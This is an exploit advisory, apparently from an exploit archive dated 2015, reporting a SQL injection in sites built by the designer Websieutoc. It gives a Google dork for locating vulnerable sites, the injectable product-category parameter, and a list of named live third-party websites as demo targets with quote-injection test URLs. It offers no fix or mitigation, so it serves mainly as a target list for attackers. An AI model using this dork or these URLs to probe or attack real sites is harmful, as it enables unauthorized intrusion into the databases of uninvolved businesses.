###################### # Exploit Title : Design by Websieutoc SQL Injection Vulnerability # Exploit Author : Persian Hack Team # Vendor Homepage : http://websieutoc.vn/ # Google Dork : intext:"Thiết kế web, Quảng cáo google bởi DMV" # Date: 2015/12/28 # ###################### # PoC: # http://www.maynangluongmattroi.info/?madanhmucsanpham=[SQLI] # # Demo: #http://www.maynangluongmattroi.info/?madanhmucsanpham=3%27 #http://thicongdien.com.vn/?madanhmucsanpham=2%27 #http://dongtin.com.vn/?page=sanphamtheodanhmuc&madanhmucsanpham=1%27 #http://www.hethongpccc.com/?page=sanpham&masp=316&madanhmucsp=47%27&mode=detail #http://www.diennongthontv.com/?madanhmucsanpham=19%27 #http://www.cophankythuatdongphuong.com/?madanhmucsanpham=2%27 #http://nhuavosong.com/?madanhmucsanpham=11%27 # ###################### # Discovered by : # Mojtaba MobhaM (kazemimojtaba@live.com) # T3NZOG4N (t3nz0g4n@yahoo.com) # Homepage : persian-team.ir ######################